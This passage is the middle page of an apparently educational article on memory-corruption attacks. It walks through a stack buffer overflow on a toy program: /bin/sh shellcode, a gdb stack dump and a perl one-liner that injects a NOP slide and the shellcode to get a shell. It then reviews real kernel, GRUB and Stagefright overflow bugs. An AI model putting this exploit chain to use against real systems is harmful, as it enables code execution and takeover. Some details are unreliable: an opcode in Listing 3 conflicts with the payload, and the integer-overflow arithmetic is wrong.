Anatomy of a kernel attack
Get a Shell
The next step is to inject what the experts call a shellcode – a small bit of code that will launch the attack. (The name shellcode [5] comes from the fact that attackers often use this approach to launch a command shell.) The code should be short, to fit nicely into the few bytes allowed for input. The shellcode needs to be provided as opcodes (machine instruction codes), because you somehow need to input it to the process. These opcodes could contain binary zeros, which would not be accepted as is since strings are null terminated in C. Those zero opcodes therefore need to be replaced – such as using XOR AX,AX
to set AX
to zero, rather than MOV AX,0
or using smaller sub-registers, such as AL
instead of AX
. Listing 3 shows an example of a shellcode, cleaned out of all the binary zeros, with the necessary opcodes. A push
command moves /bin/sh
to the stack.
Listing 3
Shellcode
01 xor %eax,%eax 31 c0 02 push %eax 50 03 push $0x68732f2f 68 2f 2f 73 68 04 push $0x6e69622f 68 2f 62 69 6e 05 mov %esp,%ebx 89 e3 06 push %eax 50 07 mov %esp,%edx 89 e2 08 push %ebx 43 09 mov %esp,%ecx 89 e1 10 mov $0xb,%al b0 0b 11 int $0x80 cd 80
The next challenge is to set the return address to point to the data sent (i.e., to the location of the data on the stack). Keep in mind that the stack layout might vary when the process is run outside or inside gdb. To add flexibility, a so-called a no operation (NOP) slide is added. A NOP command is a command that does nothing. A NOP slide is a series of NOPs prefixing the shellcode. If the newly set return address hits a NOP, the CPU will iterate over all the NOP commands and finally reach the shellcode.
The Intel architecture NOP has an opcode of 90 (hex) and therefore is easy to inject; some other CPUs use 0 (hex), which forces a workaround such as MOV AX,AX
.
In gdb
, finding the base address of the stack is as easy as reading the contents of the EBP register and doing some math, as Listing 4 demonstrates. The stack starts at bfffeba8
and is 168 bytes long (lines 21-22 in Listing 4).
Listing 4
Finding the Stack
01 (gdb) disassemble read_and_print 02 Dump of assembler code for function read_and_print: 03 0x08048384 <read_and_print+0>: push %ebp 04 0x08048385 <read_and_print+1>: mov %esp,%ebp 05 0x08048387 <read_and_print+3>: sub $0xa8,%esp 06 0x0804838d <read_and_print+9>: lea 0xffffff60(%ebp),%eax 07 0x08048393 <read_and_print+15>: mov %eax,(%esp) 08 0x08048396 <read_and_print+18>: call 0x80482a8 <gets@plt> 09 0x0804839b <read_and_print+23>: lea 0xffffff60(%ebp),%eax 10 0x080483a1 <read_and_print+29>: mov %eax,0x4(%esp) 11 0x080483a5 <read_and_print+33>: movl $0x80484a0,(%esp) 12 0x080483ac <read_and_print+40>: call 0x80482c8 <printf@plt> 13 0x080483b1 <read_and_print+45>: leave 14 0x080483b2 <read_and_print+46>: ret 15 End of assembler dump. 16 (gdb) break *0x08048387 17 Breakpoint 1 at 0x8048387: file bug.c, line 4. 18 (gdb) run 19 Breakpoint 1, 0x08048387 in read_and_print () at buf.c:4 20 4 { 21 (gdb) print $ebp - 0xa8 22 $1 = (void *) 0xbfffeba8
Now with all this prepared, the attack is ready. The shellcode I wrote is 25 bytes long; I will prefix it with a nice NOP slide of 120 NOPs. The last four bytes need to be the return address, which points to somewhere in the stack. This leaves (168-120-25-4)=19 bytes of padding after the shellcode, which will take the form of 19 "A"
s in the following single-line command:
( perl -e 'print "\x90"x120 ."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"."A"x19 ."\xf0\xeb\xff\xbf"' ; cat ) | ./buf
cat
is needed to keep an input open to the newly created shell. In this example, all I needed to gain shell access was a program that failed to limit how many bytes are written to a fixed size buffer. C provides plenty of built-in functions to prevent this – for instance, strncpy
was introduced to ANSI C in 1990. The example program compiled with -Wall
to enable compiler warnings would generate a warning indicating that it is unsafe to use gets()
. However, in real life, these warnings are often ignored and tools to automatically find these issues are hardly ever used.
Ready to Rumble
With all of this, some practice, and careful study of the literature, it is time to look at some examples of attacks on the Linux kernel. A good example is CVE-2019-17133 [6]: A buffer overflow in the WiFi driver triggered by a too-long SSID. This attack was fairly dangerous, because anyone can run an access point with a carefully crafted SSID to inject shellcode. I also like this CVE, because it shows that insecure input doesn't need to be typed in; it can arrive over any outside connection or in any form, including crafted TIFFs, as used for the first iPhone jailbreak [7].
Looking at the patch provided [8], it is obvious that memcpy
would copy as much data as sent into the buffer, rather than limiting it to the buffer size:
memcpy(ssid, ie + 2, data_length);
This problem was fixed by first comparing data_length
to the maximum SSID buffer size. As always: If you find one security issue of a certain type, you are likely to find other similar problems in the same code. This holds true for the WiFi code: A buffer overflow triggered by a manipulated WiFi beacon was assigned a CVE-number a few days later [9]. Therefore, if a security issue is reported, it is a good idea to check related code for similar issues.
Another example is the BootHole attack [10], which does not directly affect the kernel but allows the attacker to bypass UEFI secure boot and thereby boot arbitrary code. GRUB uses a plain text configuration file, which is parsed using flex. If the contents are too long, flex should notice and call a function to throw an error (YY_FATAL_ERROR
). Once, a fatal error has occurred, parsing should stop; however, the GRUB developers in their implementation of YY_FATAL_ERROR
did not stop the process but kept going: So an error message was displayed but no action was taken, resulting in a buffer overflow.
Integer Integrity
The same version of GRUB also suffered from an integer overflow issue, which in turn could trigger another buffer overflow. Consider how numbers are represented in computers. Unsigned numbers can be 8, 16, 32, or 64 bits. Whenever an operation (be it an addition, multiplication, or shift left) needs more space than provided, the first digits are truncated. This phenomenon is similar to the experience of anyone driving an older car: With only five digits on the odometer, a car would look brand new after 100,000 miles.
For signed numbers however, things get nastier. With 8 bits, 0111 1111 (bin) = 127 (dec) is the largest positive number, whereas due to the two's complement used 1000 0000 (bin) = -128 (dec) is the largest negative. Obviously, 0111 1111 + 1 = 1000 0000 (bin). Or in decimal, 127 + 1 = -128.
When assigning an unsigned integer a signed integer, it gets worse: Although the signed integer might have a correct value of -128, the unsigned would read 128. The pseudocode in Listing 5 gives an idea of what could potentially go wrong. The integer overflow hides in the multiplication: Both values are signed int
.
Listing 5
Integer Overflow
01 void copy_stuff(signed int count, size, ptr src, dst) { 02 unsigned int max_size = 32768; // 32 KByte 03 if (count * size) < max_size { do stuff } 04 else { error } 05 }
In line 3, count
and size
are multiplied, and both are signed integers – by default, the result would be a signed integer. That works well for 100 blocks of four byte data (400), but what if it were 256 blocks of 256 bytes? At a first glance, this would result in 65536, which is more than 32768.
But that calculation wasn't made with "signed" in mind: 65536 is 1000 0000 0000 0000 (bin), (i.e. -32768 with a signed integer). Any negative number is obviously less than any positive number, which means that the copying would be initiated. Imagine a memcpy
there: The buffer overflow is waiting to happen.
This is not just grey system theory, as Stagefright [11] demonstrated. In the Stagefright attack, the issue was a tiny bit different: The programmers did well in multiplying 32-bit integers and comparing the result to a 64-bit integer. However, they didn't consider the attitude of the C compiler: When multiplying two 32-bit integers, the result would only be 32 bits. The programmers would have needed to manually type cast at least one of the integers to 64 bits.
This problem, which occurred in the Android libstagefright library, was used to triggered a buffer overflow that subsequently lead to injected code running with root privileges on Android. Because libstagefright handled all media, all that was needed was a compromised media file, which could be an audio, video, or photo file, arriving in any possible way – from MMS multimedia messaging, to a web page, to a microSD card.
The Linux kernel was also vulnerable to these kind of attacks, as CVE-2021-3491 demonstrates: A simple mix up of signed and unsigned integers would have led to a heap-based buffer overflow, allowing the attacker to inject arbitrary code [12]. The patch was amazingly simple: Fix the sign and enforce the upper size limit using the min
– function.
« Previous 1 2 3 Next »
Buy this article as PDF
(incl. VAT)